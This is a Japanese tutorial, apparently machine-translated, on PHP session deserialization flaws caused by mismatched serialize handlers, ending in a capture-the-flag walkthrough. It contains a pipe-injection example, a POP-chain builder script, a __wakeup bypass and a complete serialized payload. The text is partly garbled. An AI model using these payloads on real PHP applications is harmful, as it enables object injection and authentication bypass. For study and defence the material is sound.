ホームページ > 記事 > バックエンド開発 > PHP のセッション逆シリアル化の脆弱性の詳細な説明

PHP のセッション逆シリアル化の脆弱性の詳細な説明

coldplay.xixi転載: 2020-07-20 17:45:062367ブラウズ

php.ini には 3 つの設定項目があります:

session.save_path=""  --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数，如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start  boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler  string --定义用来序列化/反序列化的处理器名字。默认使用php

上記のオプションは、PHP のセッションストレージとシーケンスストレージに関連するオプションです。

xampp コンポーネントを使用したインストールでは、上記の設定項目の設定は次のとおりです。

session.save_path="D:\xampp\tmp"  表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files     表明session是以文件的方式来进行存储的
session.auto_start=0        表明默认不启动session
session.serialize_handler=php    表明session的默认序列话引擎使用的是php序列话引擎

上記の設定では、session.serialize_handler を使用してセッションのシリアル化エンジンを設定します。、デフォルトに加えて PHP エンジン以外にもエンジンがあり、エンジンごとに対応するセッション保存方法が異なります。

php_binary: キー名の長さに応じたASCII文字のキー名をserialize()関数でシリアル化した値を格納する方法です

php: 格納方法キー名が垂直であることですserialize()関数でシリアル化された値

php_serialize(php>5.5.4):格納方法はserialize()関数でシリアル化された値です

PHP ではデフォルトで PHP エンジンが使用されます。別のエンジンに変更したい場合は、コード ini_set('session.serialize_handler', '設定する必要があるエンジン') を追加するだけです。）;。サンプルコードは次のとおりです。

セッションディレクトリは /var/lib/php/sessions にあります

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump($_SESSION);

php_serialize エンジンの下で、セッションファイルに保存されるデータは次のとおりです。

a:1:{s:4:"name";s:6:"spoock";}

php エンジンの下のファイルの内容は次のとおりです:

name|s:6:"spoock";

php_binary エンジンの下のファイルの内容は次のとおりです:

names:6:"spoock";

名前の長さが 4, 4 であるため、 ASCII テーブルの EOT に対応します。 php_binary の格納規則によると、最後のものは names:6:"spoock"; です。 (突然、ASCII 値 4 の文字が Web ページに表示できないことに気付きました。ASCII テーブルを自分で確認してください。)

PHP セッションにおけるシリアル化の危険

PHP でのセッションの実装には問題はありません。害は主にプログラマによるセッションの不適切な使用によって引き起こされます。

PHP が保存された $_SESSION データを逆シリアル化するために使用するエンジンが、シリアル化に使用されるエンジンと異なる場合、データは正しく逆シリアル化されません。慎重に構築されたデータパケットにより、プログラム検証をバイパスしたり、一部のシステムメソッドを実行したりすることが可能です。例:

$_SESSION[&#39;ryat&#39;] = &#39;|O:1:"A":1:{s:1:"a";s:2:"xx";}&#39;;

php ファイルに次のようなものがあります:


 アクセス後のセッション ファイルの内容は次のとおりです: 
root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}
 ただし、このときのシミュレーションでは、他のページでは異なる php エンジンが使用されます。読み取り時の内容は次のとおりです: (デフォルトでは、セッション ファイルの読み取りに php エンジンが使用されます) 
a;
  }
}
// var_dump($_SESSION);
このページにアクセスすると、出力は xx
xxarray(1) {
 ["a:1:{s:4:"ryat";s:30:""]=>
 object(A)#1 (1) {
  ["a"]=>
  string(2) "xx"
 }
}
 になります
これは、php エンジンが使用される場合、| がキーと値の間の区切り文字として使用され、その後 a:1:{s:4:"ryat";s:30:" が使用されるためです。 SESSION のキーとして、O:1:"A":1:{s :1:"a";s:2:"xx";} を値としてデシリアライズすると、最終的にクラス A が得られます。 . 
この種の問題は、シリアル化と逆シリアル化が原因で発生します。使用されるエンジンの違いが、PHP セッションのシリアル化の脆弱性の原因です。PHP エンジンを使用してページをロードすると、セッションはセッション内のコンテンツを読み取り、逆シリアル化すると、出力なしで脆弱性がトリガーされます。
  GCTF のセッション逆シリアル化の脆弱性の分析: 
 インデックス内のコンテンツ。 php は: 
<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET[&#39;src&#39;])){
  $_SESSION[&#39;src&#39;] = $_GET[&#39;src&#39;];
  highlight_file(__FILE__);
  print_r($_SESSION[&#39;src&#39;]);
}
?>
<!DOCTYPE HTML>
<html>
 <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>代码审计2</title>
 </head>
 <body>
 php では、データにアクセスするためにシリアル化操作がよく使用されますが、シリアル化プロセス中に不適切な処理を行うと、セキュリティ上のリスクが生じる可能性があります。
<form action="./query.php" method="POST">    
<input type="text" name="ticket" />        
<input type="submit" />
</form>
<a href="./?src=1">查看源码</a>
</body>
</html>
クエリの内容。 php は: 
/************************/
/*
//query.php 部分代码
session_start();
header(&#39;Look me: edit by vim ~0~&#39;)
//......
class TOPA{
  public $token;
  public $ticket;
  public $username;
  public $password;
  function login(){
    //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
    $this->username ==&#39;aaaaaaaaaaaaaaaaa&#39; && $this->password == &#39;bbbbbbbbbbbbbbbbbb&#39;){
      return &#39;key is:{&#39;.$this->token.&#39;}&#39;;
    }
  }
}
class TOPB{
  public $obj;
  public $attr;
  function __construct(){
    $this->attr = null;
    $this->obj = null;
  }
  function __toString(){
    $this->obj = unserialize($this->attr);
    $this->obj->token = $FLAG;
    if($this->obj->token === $this->obj->ticket){
      return (string)$this->obj;
    }
  }
}
class TOPC{
  public $obj;
  public $attr;
  function __wakeup(){
    $this->attr = null;
    $this->obj = null;
  }
  function __destruct(){
    echo $this->attr;
  }
}
*/

 アイデアは次のとおりです:
この質問では、破壊中に呼び出される TOPC を構築します echo $this->attr;;
TOPB オブジェクトに attr を割り当てると、TOPB をエコーするときに __tostring マジック メソッドが自動的に呼び出されます。 、トークンとチケットが後で使用されるため、これは unserialize($this->attr )
 と呼ばれ、明らかに TOPA オブジェクトです。後の判断には $this->obj-> が必要です;token === $this->obj->ticket したがって、シリアル化するときに、$a->ticket = &$a->token; となるようにポインタ参照を作成します。 理由について(string)$this->obj
 でフラグが出力され、バックグラウンドで書かれたログインが __tostring になる可能性があります。 ##デシリアライズされた文字列にはパラメータをクリアするための __wakeup() 関数があります。CVE: CVE-2016-7124 を介してバイパスできるかどうかを尋ねました。ウェイクアップ機能は、オブジェクト内の数量を表すフィールドを実際のフィールドよりも大きな値に変更することでバイパスできます。 最終コードは:
$testa = new TOPA();
$testc = new TOPC();
$testb = new TOPB();
$testa->username = 0;
$testa->password = 0;
$testa->ticket = &$testa->token;
$sa = serialize($testa);
$testc->attr = $testb;
$testb->attr = $sa;
$test = serialize($testc);
echo $test;
最終ペイロードは:
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
上記は、エディタによって導入された PHP セッションの逆シリアル化の脆弱性です。ご質問がございましたら、メッセージを残してください。すぐに返信させていただきます。 
関連する学習の推奨事項: 
PHP プログラミングの入門から熟練度まで
以上がPHP のセッション逆シリアル化の脆弱性の詳細な説明の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明：

この記事はjb51.netで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。

前の記事：PHP json および XML のシリアル化/逆シリアル化次の記事：PHP json および XML のシリアル化/逆シリアル化

続きを見る